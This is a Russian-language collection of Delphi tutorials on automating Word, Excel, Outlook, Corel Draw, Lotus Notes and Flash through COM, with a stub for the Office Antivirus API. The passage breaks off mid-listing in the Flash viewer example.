CkRunningOrNew Контроллер производит подключение к уже существующему процессу, или запускает новый процесс, при отсутствии такового. Этот вид взаимодействия между COM сервером и контроллером наиболее часто применяется на практике. Такое значение свойства установлено по умолчанию.
CkNewInstance При соединении с сервером каждый раз создается новый экземпляр
CkRunningInstance Соединение устанавливается с уже запущенным COM сервером. Если таковой отсутствует – будет создан соответствующий объект ошибки, который необходимо обработать
CkRemote Это значение используется совместно со свойством RemoteMachineName, если необходимо подключиться к серверу на удаленной машине
ckAttachToInterface При установке этого значения интерфейс не создается и соответственно нельзя указывать значение True для свойства AutoConnect. Соединение с сервером производится с помощью метода ConnectTo
На последнем значении свойства ConnectKind равном ckAttachToInterface, хотелось бы остановиться более подробно. Действительно мы соединяемся с сервером через главный интерфейс, представленный в объекте Application. Но, например, возникает необходимость подключить к нашему проекту такие компоненты, как WordDocument или WordParagraphFormat, в этом случае мы просто производим подключение к уже существующему интерфейсу, а не создаем его заново. Также это может быть необходимо, когда контроллер должен отслеживать события, происходящие в COM сервере. Я предлагаю вам провести маленький эксперимент:
· Создайте новое приложение
· Выложите на форму компонент WordApplication и WordDocument
· Свойства AutoConnect и AutoQuit для WordApplication установите в True
· Свойство ConnectKind для WordDocument установите в ckAttachToInterface
· Для события onDokumentChange и onFormCreate пропишите следующий код:

procedure TForm1.WordApplication1DocumentChange(Sender: TObject);
begin
//производим подключение к текущему документу
     WordDocument1.ConnectTo( WordApplication1.ActiveDocument);
//Контроллер добавляет новую строку в текущий документ
     WordDocument1.Range.InsertAfter(#13+'Переход к документу'+#13+
       WordApplication1.ActiveDocument.Get_FullName+' произведен :'+
       DateTimeToStr(Now));
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
//COM сервер отображает себя на экране
WordApplication1.Visible:=true;
end;

После запуска приложения будет автоматически загружен Word, создайте в нем несколько новых документов и переключайтесь между ними с помощью меню Window. Вы увидите, что контроллер автоматизации добавляет новые строки в текущий активный документ. Аналогично можно управлять и сервером ExcelApplication. При создании новой рабочей книги на сервере, в контроллере будет проинициализировано событие onNewWorkBook, которое можно обработать аналогично предыдущему примеру.
Классы – наследники ToleObject
Теперь давайте заглянем во внутренний мир компонент закладки Servers. Как мы уже убедились, все классы унаследованы от ToleObject. Кроме того, еще наследуется и интерфейс из библиотеки TLB. Как это происходит? Проведем следующее упражнение:

· Из среды программирования Delphi удаляем пакет с компонентами COM серверов (Component | Install Packages | Borland Sample Automation Servers Component | Remove). После этого закладка Servers удалилась.
· Создаем новый пакет с использованием библиотеки типов
· Выберите Project | Type library
· Из списка зарегистрированных серверов выберите библиотеку типов Excel (Microsoft Excel 8.0 Object Library)
· Укажите имя закладки палитры компонент (Pallete Page), куда будут установлены новые классы – TexcelQueryTable, TexcelApplication, TexcelChart, TexcelWorksheet, TexcelWorkbook, TExcelOLEObject . Выберите закладку Servers.
· В боксе - General Component Wraper установите флажок для генерации компонеты на основе библиотеки типов и размещении ее на палитре компонент.
· Нажмите кнопку Install
· Специфицируйте имя пакета, где будет сгенерирован новый класс
· Установите сервер на палитру компонент.
После проделанных манипуляций вам стал доступен COM сервер Excel, в состав которого входят шесть классов. Аналогичным образом восстановите компоненты для сервера Word и Outlook.
Теперь мы можем посмотреть на объявление класса TwordApplication и его предка -ToleServer:

TOleServer = class(TComponent, IUnknown)
   TWordApplication = class(TOleServer)

Благодаря такому объявлению, класс TwordApplication наследует свойства и методы класса Tcomponent (способен устанавливаться на палитре компонент и прочие…), а так же знает все о доступе к интерфейсам COM серверов, благодаря наследованию интерфейса IUNknown. В библиотеке типов прописаны все доступные методы и свойсва COM сервера. Когда создается контроллер автоматизации (выкладываем на форму соответствующий компонент из палитры), то приложение получает доступ к Dual Interface описанный в библиотеке типов. Dual интерфейс – есть совокупность пользовательского интерфейса, описанного в библиотеке типов и dispinterface, который доступен в момент выполнения приложения. Это реализовано с помощью COM VTABLE интерфейса, унаследованного от IDISPATCH. Использование Vtable интерфейса имеет ряд преимуществ:
· Передаваемые параметры, их типы и количество проверяется на стадии проектирования и редактор кода сопровождает разработчика всевозможными хинтами и подсказками.
· Через Vtable интерфейс осуществляется значительно более быстрый доступ к серверу автоматизации, чем через DispInterface
· В то же время, не всегда разработчик получает доступ к библиотеке типов и соответственно к V – таблице, поэтому приходится иногда пользоваться Idispatch интерфейсом
Ниже приведен пример использования Dual интерфейса

procedure TForm1.FormCreate(Sender: TObject);
var
foo:TWordApplication;
foo1:_Application;
begin
  foo:=WordApplication1;
  foo1:=CoWordApplication.Create;
  ShowMessage(foo.UserName+#13+foo1.Get_Name);
end;

Пример использования интерфейса с поздним связыванием был показан в начале этой статьи, когда доступ к COM серверу был осуществлен с помощью функции CreateOleObject. Компилятор в этом случае ничего не знает о методах и параметрах сервера, информация о них извлекается на стадии выполнения приложения, отсюда и потеря скорости выполнения приложения и всевозможные ошибки, которые компилятор не в состоянии обработать. При такой разработке приложения программист достает SDK от Microsoft office и начинает старательно изучать большие тома литературы.
Подводя итог можно говорить о том, что для доступа к COM серверу автоматизации существует три способа
· Vtable
· Idispatch
· Позднее связывание (CreateOleObject)
Наиболее прогрессивный – первый способ, через который работают компоненты Delphi 5 для доступа к COM серверам приложений Office.

Пример использования Vtable интерфейса
Постановка задачи: Имеется шаблон документа – shablon.DOC, подготовленный в MS Word, поля, которые должны быть заменены, помечены символом @. Необходимо прочитать данные из источника информации и заменить метки, на реальные данные, после чего распечатать полученный документ.
Воспользуемся методом Vtable . Выложим на форму компоненту WordApplication, WordDocument и кнопку Button. Для события OnClick компоненты Button1 пропишем следующий код:

procerdure TForm1.Button1Click(Sender: TObject);
var
//Объявление переменных, для передачи их в
//eкачестве формальных параметров в сервер автоматизации
  Shablon,FileName,oldStr,newStr,replace,ext:OleVariant;
begin
 Table1.Active:=false;
 Table1.Active:=true;
  Shablon:=ExtractFilePath(Application.EXEName)+'shablon.DOC';
  FileName:=ExtractFilePath(Application.EXEName)+'report.DOC';
//Открываем шаблон документа
  WordApplication1.Documents.Open
         (Shablon,EmptyParam, EmptyParam,EmptyParam,
EmptyParam,EmptyParam,
             EmptyParam,EmptyParam,EmptyParam,EmptyParam);
//Связываем компоненту с существующим интерфейсом
  WordDocument1.ConnectKind:=ckAttachToInterface;
  WordDocument1.ConnectTo(WordApplication1.ActiveDocument);
//Следующие переменные понадобятся нам
//для выполнения методов сервера
  replace:=1;  oldStr:='@1';  newStr:=DateTimeToStr(Now);
//Находим в документе метки и производим их замены
  WordDocument1.Range.Find.Execute(oldStr,EmptyParam,EmptyParam,
 EmptyParam,EmptyParam,EmptyParam,EmptyParam,
                EmptyParam,EmptyParam,newStr,replace);
  oldStr:='@2';  newStr:=WordApplication1.UserName;
  WordDocument1.Range.Find.Execute(oldStr,EmptyParam,EmptyParam,
 EmptyParam,EmptyParam,EmptyParam,EmptyParam,
                EmptyParam,EmptyParam,newStr,replace);
………
//сохранение документа и отображение его в OLE контейнере
//(предварительный просмотр)
WordDocument1.SaveAs(FileName);  WordDocument1.Close;
OleContainer1.CreateLinkToFile(FileName,false);  OleContainer1.Refresh;
end;

Исходный код этого примера имеется в приложении к данной статье. Обратите внимание на передачу параметров в методы. Все параметры описаны как OleVariant и передаются в методы по ссылке (такая передача параметров характерна лишь для сервера Word, Excel и OutLook, например, принимают в основном фактические параметры). Сервер автоматизации сам будет разбираться, какой тип вы фактически подставили в качестве значения переменной, поэтому необходимо при разработке приложения особое внимание уделять хинтам, и почаще заглядывать в библиотеку типов сервера, с которым вы работаете в настоящее время. К стати, после того как мы установили компоненты, библиотеки типов разместились в директории …Delphi5\Imports\. В файлах библиотек типов можно найти, например все константы, необходимые для передачи параметров в Excel и OutLook, названия их интуитивно понятны. В модуле System – Delphi 5 описана переменная EmptyParam, которую необходимо использовать для передачи "пустышек" в качестве параметров.

var
EmptyParam: OleVariant; { "Пустой параметр" который
  должен опционально использоваться в DUAL интерфейсе. }

Описание методов в библиотеке типов заставляет нас очень аккуратно соблюдать порядок передачи параметром, это несколько затрудняет процесс программирования, но зато Dual интерфейс работает значительно быстрее чем передача именованных параметров при позднем связывании сервера и контроллера автоматизации.

Пример использования Dispatch интерфейса
Постановка задачи: получить информацию о документе, который открывается MS Word, при этом не должны использоваться никакие компоненты для доступа к серверам автоматизации.
Создадим новое приложение и выложим на форму кнопку. Пропишем событие onDoubleClick для кнопки следующим образом:

procedure TForm1.Button1Click(Sender: TObject);
var
  Shablon:OleVariant;
  word:_ApplicationDisp;
begin
  Shablon:=ExtractFilePath(Application.EXEName)+'shablon.DOC';
  word:=CoWordapplicaTion.Create as _ApplicationDisp;
  (Word.Documents as DocumentsDisp).Open(Shablon,EmptyParam,
 EmptyParam,EmptyParam,EmptyParam,EmptyParam,
             EmptyParam,EmptyParam,EmptyParam,EmptyParam);
  showmessage((Word.Application as _application).Get_Name+#13+
 ((Word.Application as _application).ActiveDocument
             as _documentDisp).Path );
  word.quit(EmptyParam,EmptyParam,EmptyParam);
end;

Переменная word имеет тип ApplicatiwonDisp = dispinterface ['{00020970-0000-0000-C000-000000000046}'], который описан в библиотеки типов Word97_TLB.Pas. Строка word:=CoWordapplicaTion.Create as _ApplicationDisp; создает экземпляр сервера и возвращает DispInterface. Благодаря наличию библиотеки и жесткому приведению типов разработчик имеет возможность делать меньше ошибок, так как компилятор имеет определенную информацию о типах данных. В сравнении с использованием метода позднего связывания через функцию CreateOleObject этот метод более прогрессивный. По крайней мере, хотя бы часть информации компилятору да известна.
Подводя итог выше сказанному, можно отметить, что действительно использование компонент для доступа к COM серверам через Vtable интерфейс значительно ускоряет работу приложения и ограждает разработчика от ошибок.

Другие компоненты для доступа к COM серверам
Теперь поговорим о сервере Excel. После импортирования библиотеки типов, на закладке палитры компонент появились шесть иконок, основная из них ExcelApplication - компонента, обеспечивающая доступ к объекту Application сервера Excel. Следующий пример демонстрирует работу с объектом Application и WorkBook сервера Excel. Параметры серверу передаются по значению, кроме того, библиотека типов предоставляет все основные константы для работы с сервером:

const
  xlDays = $00000000;
  xlMonths = $00000001;
  xlYears = $00000002;

procedure TForm1.FormCreate(Sender: TObject);
begin
  ExcelApplication1.Workbooks.add
   (ExtractFilePath(Application.EXEName)+'customs',0);
  ExcelWorkbook1.ConnectTo
     (ExcelApplication1.ActiveWorkbook);
  ExcelApplication1.Visible[0]:=true;
end;

Таким образом, получив доступ к серверу, мы можем легко формировать всевозможные отчеты, строить графики. Другими словами из Delphi пользоваться ресурсами MS Excel.

Работа с Outlook из Delphi
Так же как и в других серверах, в Outlook имеется класс Application, в который встраивается класс NameSpace. Последний предоставляет доступ к данным через объект класса MAPIFolders, представляющий собой коллекцию папок пользователя. Получив доступ к Outlook через компоненту OutLookApplication, извлекается объект доступа к MAPI папкам.

mapi:=OutlookApplication1.GetNamespace('MAPI');
   for i:=1 to mapi.Folders.Count do
   ListBox1.Items.Add(mapi.Folders.Item(i).Name);

Добраться до соответствующей папки теперь, нет проблем, так как мы имеем дело с вложенными объектами. В приложении к статье имеется пример извлечения содержимого всех папок сервера Microsoft OutLook.
Следующий пример производит рассылку писем, извлекая адреса из таблицы базы данных. Я вам предлагаю его самостоятельно доработать и привести к "товарному виду".

procedure TForm1.Button1Click(Sender: TObject);
var
 mapi:NameSpace;
begin
  Table1.Active:=false;
  Table1.Active:=true;
//Получаем доступ к папке
  mapi:=OutlookApplication1.GetNamespace('MAPI');
  while not Table1.Eof do
  begin
//Подключаем объект класса TMailItem к
// новому елементу исходящих писем ,
//для работы через Vtable интерфейс
    MailItem1.ConnectTo(_DMailItem(mapi.Folders.Item
(olPersonal). Folders.Item(olFolderOutbox). Items.Add(olPostItem) as
               iDispatch));
//Наполняем новое письмо информацией
    MailItem1.Subject:='test for '+Table1Common_Name.Value;
    MailItem1.to_:=Table1Category.Value+'@elsite.ru';
    Table1Graphic.SaveToFile(Table1SpeciesNo.AsString+'.BMP');
    MailItem1.Attachments.Add(ExtractFilePath(Application.EXEName)+
Table1SpeciesNo.AsString+ '.BMP',1,1,Table1SpeciesName.Value);
    MailItem1.Body:=#13#13+'Письмо с вложенным документом '+#13+
               MailItem1.SenderName;
    MailItem1.Sensitivity:=olConfidential ;
    MailItem1.FlagStatus:=olFlagMarked;
//Сохраняем письмо. OutLook самостоятельно его отошлет по почте
    MailItem1.Save;
    Table1.next;
  end;
end;

В заключении хочется еще раз подчеркнуть, что использование Vtable интерфейса значительно упростило процесс разработки контроллеров автоматизации COM серверов.
Используя мощный язык Delphi 5 и открытый интерфейс серверов MS Office можно строить очень большие и серьезные приложения, работающие совместно.


Antivirus API

Microsoft Antivirus API позволяет создавать приложения для сканирования документов MS Office перед их открытием (а также сканирование закачек IE, содержащих код).

unit msoav;

interface

uses Windows, SysUtils, ActiveX, ComObj, Classes;

const

IID_IOfficeAntiVirus : TGUID =    '{56FFCC30-D398-11d0-B2AE-00A0C908FA49}';
//DEFINE_GUID(IID_IOfficeAntiVirus,
//0x56ffcc30, 0xd398, 0x11d0, 0xb2, 0xae, 0x0, 0xa0, 0xc9, 0x8, 0xfa, 0x49);

CATID_MSOfficeAntiVirus : TGUID = '{56FFCC30-D398-11d0-B2AE-00A0C908FA49}';
//DEFINE_GUID(CATID_MSOfficeAntiVirus,
//0x56ffcc30, 0xd398, 0x11d0, 0xb2, 0xae, 0x0, 0xa0, 0xc9, 0x8, 0xfa, 0x49);

type

TInfoStruct = record
 fIsFile : boolean;
 fIsReadOnly : boolean;
 fIsInstalled : boolean;
 fIsHTTPDownload : boolean;
end;

//Contains information about the file to be scanned.
{
* cbSize      - Integer value that specifies the size of an MSOAVINFO structure.
* hWnd        - Handle to the parent window of the Microsoft® Office 2000 application.
* pwzFullPath - Address of a wide character string that contains the full
                 path of the file about to be opened.
* lpStg       - Address of the OLE storage location of the file about to be opened.
* pwzHostName - Address of a wide character string that contains the host
                application name for the antivirus scanner user interface.
* pwzOrigURL  - Address of a wide character string that contains the URL of the
                origin of a downloaded file.
}

TMsoavinfo = record
 cbSize : integer;
 info   : ULONG;
 wnd : HWND;
 FullPath : Pointer;
 pwzHostName : PWChar;
 pwzOrigURL  : PWChar;
end;

//This is the interface an antivirus scanner uses to interact with a host application.
IOfficeAntiVirus = interface(IUnknown)
['{56FFCC30-D398-11d0-B2AE-00A0C908FA49}']
 function Scan(pmsoavinfo : PChar) : HResult; stdcall;
end;

function TestBit(const Value: Cardinal; const Bit: byte): Boolean;
procedure GetRegisteredAntiviruses(ProgIDs: TStrings);

implementation

function TestBit(const Value: Cardinal; const Bit: byte): Boolean;
begin
 Result := (Value and (1 shl (Bit mod 32))) <> 0;
end;

procedure GetRegisteredAntiviruses(ProgIDs: TStrings);
var
 CatInformation: ICatInformation;
 Enum: IEnumGUID;
 CLSID: TGUID;
 nFetched: Cardinal;
 CatId: TGUID;
begin
 CatInformation := CreateComObject(CLSID_StdComponentCategoryMgr) as ICatInformation;
 CatId := CATID_MSOfficeAntiVirus;
 OleCheck(CatInformation.EnumClassesOfCategories(1, @CatId, 0, nil, Enum));
 ProgIDs.BeginUpdate;
 try
   ProgIDs.Clear;
   while (Enum.Next(1, CLSID, nFetched) = S_OK) do begin
     ProgIDs.Add(GuidToString(clsid));
   end;
 finally
   ProgIDs.EndUpdate;
 end;
end;

end.

Now I will show a small example how to use IOfficeAntiVirus interface to implement own antivirus program for Microsoft Office.

 library msoavtest;

uses
 ComServ,
 msoav,
 umsoavtest;

exports
 DllGetClassObject,
 DllCanUnloadNow,
 DllRegisterServer,
 DllUnregisterServer;

begin
end.

unit umsoavtest;

interface

uses
 Windows, ActiveX, ComObj, ShlObj, Dialogs, msoav;

type
 TMSOTest = class(TComObject, IOfficeAntiVirus)
 protected
  function Scan(pmsoavinfo : PChar) : HResult; stdcall;
 end;

const
 Class_MsoTest: TGUID = '{F56BE781-C8BE-11D7-8601-00E0184D1E9D}';

implementation

uses ComServ, SysUtils, ShellApi, Registry;

procedure UpdateCat(Register: Boolean;  const ClassID:  string);
const
 SCatImplBaseKey = 'CLSID\%s\Implemented Categories';
 SCatImplKey = SCatImplBaseKey + '\%s';

var
 CatReg: ICatRegister;
 Rslt: HResult;
 CatInfo: TCATEGORYINFO;
 Description: string;
begin
 Rslt := CoCreateInstance(CLSID_StdComponentCategoryMgr, nil,
   CLSCTX_INPROC_SERVER, ICatRegister, CatReg);
 if Succeeded(Rslt) then
 begin
   if Register then
   begin
     CatInfo.catid := CATID_MSOfficeAntiVirus;
     CatInfo.lcid := $0409;
     StringToWideChar('', CatInfo.szDescription,
       Length('') + 1);
     OleCheck(CatReg.RegisterCategories(1, @CatInfo));
     OleCheck(CatReg.RegisterClassImplCategories(StringToGUID(ClassID), 1, @CATID_MSOfficeAntiVirus));
   end else
   begin
     OleCheck(CatReg.UnRegisterClassImplCategories(StringToGUID(ClassID), 1, @CATID_MSOfficeAntiVirus));
     DeleteRegKey(Format(SCatImplBaseKey, [ClassID]));
   end;
 end else
 begin
   if Register then
   begin
     CreateRegKey('Component Categories\' + GUIDToString(CATID_MSOfficeAntiVirus), '409', '');
     CreateRegKey(Format(SCatImplKey, [ClassID, GUIDToString(CATID_MSOfficeAntiVirus)]), '', '');
   end else
   begin
     DeleteRegKey(Format(SCatImplKey, [ClassID, GUIDToString(CATID_MSOfficeAntiVirus)]));
     DeleteRegKey(Format(SCatImplBaseKey, [ClassID]));
   end;
 end;
 if Register then
 begin
   Description := GetRegStringValue('CLSID\' + ClassID, '');
   CreateRegKey('AppID\' + ClassID, '', Description);
   CreateRegKey('CLSID\' + ClassID, 'AppID', ClassID);
 end else
   DeleteRegKey('AppID\' + ClassID);
end;

{ TMSOTest }

function TMSOTest.Scan(pmsoavinfo: PChar): HResult;
var
Info   : TMsoavinfo;
Struct : TInfoStruct;
p : pointer;
begin
 p := pointer(pmsoavinfo);
 if not Assigned(p) then
  begin
    //no information available
    Result := S_OK;
    Exit;
  end;

 Move(P^, Info, SizeOf(Tmsoavinfo));
 if Info.cbSize <> SizeOf(Tmsoavinfo) then
  begin
    //wrong size of the structure
    Result := S_OK;
    Exit;
  end;
 Struct.fIsFile := TestBit(Info.Info, 0);
 Struct.fIsReadOnly := TestBit(Info.Info, 1);
 Struct.fIsInstalled := TestBit(Info.Info, 2);
 Struct.fIsHTTPDownload :=  TestBit(Info.Info, 3);
 if struct.fIsFile then
  begin
    MessageDlg(PWChar(Info.FullPath), mtWarning, [mbOK], 0);
  end;
 Result := S_OK;
end;

type
 TMSOAvFactory = class(TComObjectFactory)
 public
   procedure UpdateRegistry(Register: Boolean); override;
 end;

procedure TMSOAVFactory.UpdateRegistry(Register: Boolean);
var
 ClassID: string;
begin
 ClassID := GUIDToString(Class_MsoTest);
 if Register then
 begin
   inherited UpdateRegistry(Register);
   UpdateCat(true, ClassID);
 end
 else
 begin
   UpdateCat(false, ClassID);
   inherited UpdateRegistry(Register);
 end;
end;

initialization
 TComObjectFactory.Create(ComServer, TMsoTest, Class_MsoTest,
   'MsoTest', '', ciMultiInstance, tmApartment);
end.

Автор: p0s0l

Взято с Vingrad.ru http://forum.vingrad.ru


Работа с различными приложениями (не MS Office)

Cодержание раздела:

Delphi и Corel Draw.
Как работать с адресной книгой Lotus Notes?
Delphi и Flash
MS Exchange API
Работа с Photoshop
Взаимодействуем с Winamp
Delphi и 1C - экспорт и импорт

См. также другие разделы:
Работа с IE, интерфейсами WebBrowser
Работа с Explorer'ом (Проводником)


Delphi и Corel Draw.

Надеюсь, многие сталкивались с Corel Draw? А у многих слюнки текли, что это мощнейший графический редактор и хотелось бы под него свои программы писать, к примеру, чертежи выводить? Я один из вас :)

Формат файлов *.cdr конечно, не представлю, т.к. сам его не знаю :), но как с этим зверем работать расскажу. Вычитал, что с Corel Draw можно работать только через скрипт, причем изначально я готовил файлы скриптов *.csc, а затем их запускал в самом редакторе. Рабочий инструмент для освоения - Corel Script Editor. Если Вы хотите действительно что-то написать, то он вам просто необходим, хотя бы ради того, что смотреть как Corel Draw их сам создает, ну и самое главное - дока по языку и функциям. Все замечательно, только вот скрипты медленно работают т.к. они эмитируют работу человека - т.е. кнопочки сами нажимаются, панельки меняются и т.д.
А чертеж, к примеру на котором около 3000 объектов мог загружаться и исполнятся до часу! Нет, когда это утомляет, то можно и самому посидеть - глядишь за неделю сделаешь :)

И тут я "чисто случайно" наткнулся на статейку http://www.djpate.freeserve.co.uk/AutoCDrw.htm. Оказывается можно и через OLE этот Corel Draw дергать, и как оказывается, не так уж оно и сложно. Да, совершенно верно, нужно использовать CorelDraw.Automation.xx. Я возился с 8-й версией. Забегая на перед, скажу, что тот же чертеж выводился в течении 5-10 минут.

Ну что, начнем?

var
   CorelDraw: Variant;
   …
CorelDraw := CreateOleObject('CorelDraw.Automation.8');
   // цифирку можете свою поставить
CorelDraw.FileNew;
   // или CorelDraw.FileOpen(FileName);
CorelDraw.SetDocVisible(True);
   // можно и не показывать, что он там делает, но ведь интересно! :)
   // кстати, можно нарисовать, а потом показать - будет на 30% быстрее
...   // ну и в конце
CorelDraw.FileSave('NewName', 0, False, 0, False);
CorelDraw.FileExit(False); // можно не писать, если не надо закрывать
CorelDraw := Unassigned;

Формат функций доступным английским языком описан в draw_scr.hlp. Ну а дальше, чего душа (или начальство :) ) желает:

CorelDraw.SetPageOrientation(0);
CorelDraw.SetPageSize(PageW, PageH);
CorelDraw.NewLayer('NewLayer1');
CorelDraw.SelectLayer('NewLayer1');
CorelDraw.CreateEllipse(CalcY(Y1)), CalcX(X1), CalcY(Y2), CalcX(X2), 0, 0, 0);
     // ничего я не перепутал!!! именно так у них координаты!
CorelDraw.CreateRectangle(CalcY(Y1)), CalcX(X1), CalcY(Y2), CalcX(X2), CalcX(Radius));
   ...

Все ясно? За дело!
Да, чуть не забыл о самом главном - как и у любой системы в Corel Draw есть свои "заморочки" :)
Ноль координат находится в середине листа бумаги (оригинально, правда?)
Положительная ось Y направлено вверх, а X - в право.
Координаты - целые числа в микронах. Для удобства я писал функцию:

function CalcX(x_mm:double):longint;
begin
 result := Round(x_mm*10000);
end;

Углы не знаю в чем, но 90 градусов надо записать как 90000000. Положительные против часовой стрелки.
Принцип прорисовки таков: создается объект, а затем ему присваиваются различные свойства, такие как цвет, тип заливки, толщина линий и пр. По умолчанию эти значения через автоматизацию выставить нельзя - не поддерживается.
Выше упомянутое наглядно видно на прорисовке текста:

CorelDraw.CreateArtisticText( Text, CalcX(X), CalcY(Y));
   // создаем текст. X,Y - левый нижний
   // как видите, нет параметров шрифта, размера и пр.
 With Font do
   begin
   if (Italic) and (Bold) then FSK:=14 else
   if (Italic) then FSK:=8 else
   if (bold) then FSK:=13 else FSK:=7;
   end;
CorelDraw.SetCharacterAttributes( 0, 0, Font.Name, FSK, Abs(Font.Size)*10,
   0, 0, 0, 0, 0, 1000, 1000, HAlign);
   // присваиваем атрибуты шрифта.
   // HAlign имеет значения 1,2,3 - влево, по центру, вправо соответственно
ColorToCMYK(Font.Color, C,M,Y,K);
   // это моя функция для преобразования tColor в составляющие в модели CMYK
CorelDraw.StoreColor(2, C,M,Y,K, 0,0,0,0); // создание цвета
CorelDraw.ApplyUniformFillColor; // применяем цвет к объекту

Тоже самое относится к трансформации объектов – сперва создаете, а затем изменяете как хотите.
Работают функции для получения информации.

CorelDraw.GetSize(XSize, YSize); // получили размеры объекта
CorelDraw.MoveObject(0, -YSize); // сдвинули его вниз на свой размер

Можно "проверить" все существующие объекты. За круглым столом спрашивали, как это делается, а делается это так:

var ObjID, FirstObjID:longint;
begin
 CorelDraw.SelectAllObjects;
 CorelDraw.SelectNextObject(true);
 // true для "захода" в сгруппированный объект
 FirstObjID := CorelDraw.GetObjectsCDRStaticID;
 Repeat
  ...
  // работа с объектом     CorelDraw.SelectNextObject(true);
  ObjID := CorelDraw.GetObjectsCDRStaticID;
 Until ObjID = FirstObjID; ...

Взято из http://forum.sources.ru


Как работать с адресной книгой Lotus Notes?

unit Unit2;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, Domino_TLB, Menus, ComCtrls;
const
  PASSWD = 'ur70';
type
  TForm2 = class(TForm)
    TV_INFO: TTreeView;
    MainMenu1: TMainMenu;
    File1: TMenuItem;
    Create1: TMenuItem;
    Init1: TMenuItem;
    AddressBook1: TMenuItem;
    Scan1: TMenuItem;
    procedure Create1Click(Sender: TObject);
    procedure Init1Click(Sender: TObject);
    procedure Scan1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form2: TForm2;
  Session: TNotesSession;
implementation

{$R *.dfm}

procedure TForm2.Create1Click(Sender: TObject);
begin
  Session := TNotesSession.Create(nil);
end;

procedure TForm2.Init1Click(Sender: TObject);
begin
  Session.Initialize(PASSWD);
end;

procedure TForm2.Scan1Click(Sender: TObject);
var
  NotesDb: NotesDatabase;
  addrBook: NotesDatabase;
  People, People2: NotesView;
  Person, Person2: NotesDocument;
  View: NotesView;
  Item: NotesItem;
  AddrBooks: OleVariant;
  Views: OleVariant;
  Items: OleVariant;
  x, y, z: integer;
  view_name: string;
  tn, tc: TTreeNode;
begin
  NotesDb := Session.GetDatabase('', 'names.nsf', False);
  AddrBooks := Session.AddressBooks;
  for x := 0 to VarArrayHighBound(AddrBooks, 1) -
    VarArrayLowBound(AddrBooks, 1) do
  begin
    addrBook := NotesDatabase(IUnknown(AddrBooks[x]));
    if (addrBook.IsPrivateAddressBook) then
    begin
      addrBook.Open;
    end
    else
      addrBook := nil;
    if (addrBook <> nil) then
    begin
      Views := addrBook.Views;
      for y := 0 to VarArrayHighBound(Views, 1) -
        VarArrayLowBound(Views, 1) do
      begin
        View := NotesView(IUnknown(Views[y]));
        view_name := View.Name;
        tn := tv_info.Items.AddNode(nil, nil, view_name, nil, naAdd);

        if copy(view_name, 1, 1) = '$' then
          view_name := copy(view_name, 2, length(view_name) - 1);
        people := addrBook.GetView(view_name);
        person := people.GetFirstDocument;
        if Person <> nil then
        begin
          Items := Person.Items;
          for z := 0 to VarArrayHighBound(Items, 1) -
            VarArrayLowBound(Items, 1) do
          begin
            Item := NotesItem(IUnknown(Items[z]));
            tc := tv_info.Items.AddChild(tn, Item.Name);

            people := addrBook.GetView(view_name);
            person := people.GetFirstDocument;

            while (Person <> nil) do
            begin
              try
                try
                  tv_info.Items.AddChild(tc, Person.GetFirstItem(Item.Name).Text
                    {Item.Text});
                except
                end;
              finally
                Person := People.GetNextDocument(Person);
              end;
            end;
          end;
        end;
      end;

    end;
  end;
end;

end.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Delphi и Flash

Delphi и Flash. Совмещение несовместимого!
Разве возможно совместить Флэш-ролики и Дельфи-приложения. Раньше я думал что НЕТ. Но теперь я знаю не только, что это возможно, но и знаю как это делается!!! И сейчас я вам расскажу об этом. Во-первых хочется отметить преимущества использования флэш-роликов в ваших программах. Если вы сумеете гармонично вписать небольшой флэш-ролик в вашу программу, то несомненно внешний вид программы будет намного привлекательнее (главное не переборщить, увлекаясь дизайном, не надо забывать о том что программа должна быть удобна и проста в использовании! ).

Итак, как же совместить Флэш и Дельфи? (Надеюсь, что у вас Флэш установлен:))

Запустите Дельфи и выберите пункт меню Component->Import ActiveX Control... Перед вами откроется диалоговое окно с заголовком Import ActiveX Control. В разделе Registered Controls выберите Shockwave Flash. В разделе Pallete Page... Выберите страницу в палитре компонентов, на которой будет располагаться установленный компонент (по умолчанию это ActiveX). В разделе Unit Dir Name... путь к папке куда будет установлен компонент.

Нажмите на кнопку Install. Перед вами появится окно, в котором вам нужно будет выбрать в какой пакет будет установлен компонент (вы можете установить как в уже существующий, так и в новый пакет). Затем перед вами появится окно редактирования выбранного пакета и Дельфи вас спросит: "...Package will be rebuilt. Continue?". Ответьте Yes. Все готово теперь можно использовать флэш в ваших приложениях!!!

Теперь, чтобы показать вам как пользоваться этим компонентом, попробуем вместе сделать программу для просмотра *.SWF файлов. Для этого нам понадобятся следующие компоненты: TShockwaveFlash (для удобства назовите его просто Flash1), TTrackBar, TTimer, TOpendialog и три кнопки TButton ("открыть", "старт" и "стоп").

Для начала установим необходимые свойства OpenDialog'a

Свойство Filter может быть таким: Флэш-ролики|*.swf

Свойство DefaultExt должно быть: *.swf

Для Timer'a нужно установить свойство Interval равным 1.

Для TShockwaveFlash:

Name сделайте равным Flash1

Свойство Playing установите в false

Свойство BGColor, установите как вам хочется (цвет фона)

Теперь напишем обработчик события OnClick для кнопки, которая вызывать OpenDialog:

if open1.Execute then begin
flash1.Movie:=open1.FileName;
trackbar1.Max:=flash1.TotalFrames; {это делается для того, чтобы потом можно было перемещаю ползунок посмотреть каждый кадр ролика}

В обработчик события OnClick для второй кнопки ("Старт") напишем:

flash1.Play;

Ну тут вообще все просто! Почти таким же образом это будет выглядеть для третьей кнопки ("Стоп"):

flash1.Stop;

Теперь сделаем, чтобы при перемещении ползунка Trackbar'a мы могли посмотреть каждый кадр (событие OnChange):

if Flash1.IsPlaying=true then Flash1.Stop; {если ролик проигрывается, то надо его остановить}
flash1.GotoFrame(trackbar1.position); {открываем кадр номер которого соответствует позиции ползунка}

Ну и наконец осталось сделать чтобы при проигрывании ролика ползунок перемещался, указывая сколько осталось и сколько прошло. Для этого то мы и используем Timer. В обработчик события OnTimer,напишем:

trackbar1.Position:=flash1.CurrentFrame;

Приведу полный код приложения:

unit flash;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ComCtrls, StdCtrls, OleCtrls, ShockwaveFlashObjects_TLB, ExtCtrls;

type
  TForm1 = class(TForm)
    Flash1: TShockwaveFlash;
    Button1: TButton;
    TrackBar1: TTrackBar;
    Open1: TOpenDialog;
    Button2: TButton;
    Button3: TButton;
    Timer1: TTimer;
    procedure Button1Click(Sender: TObject);
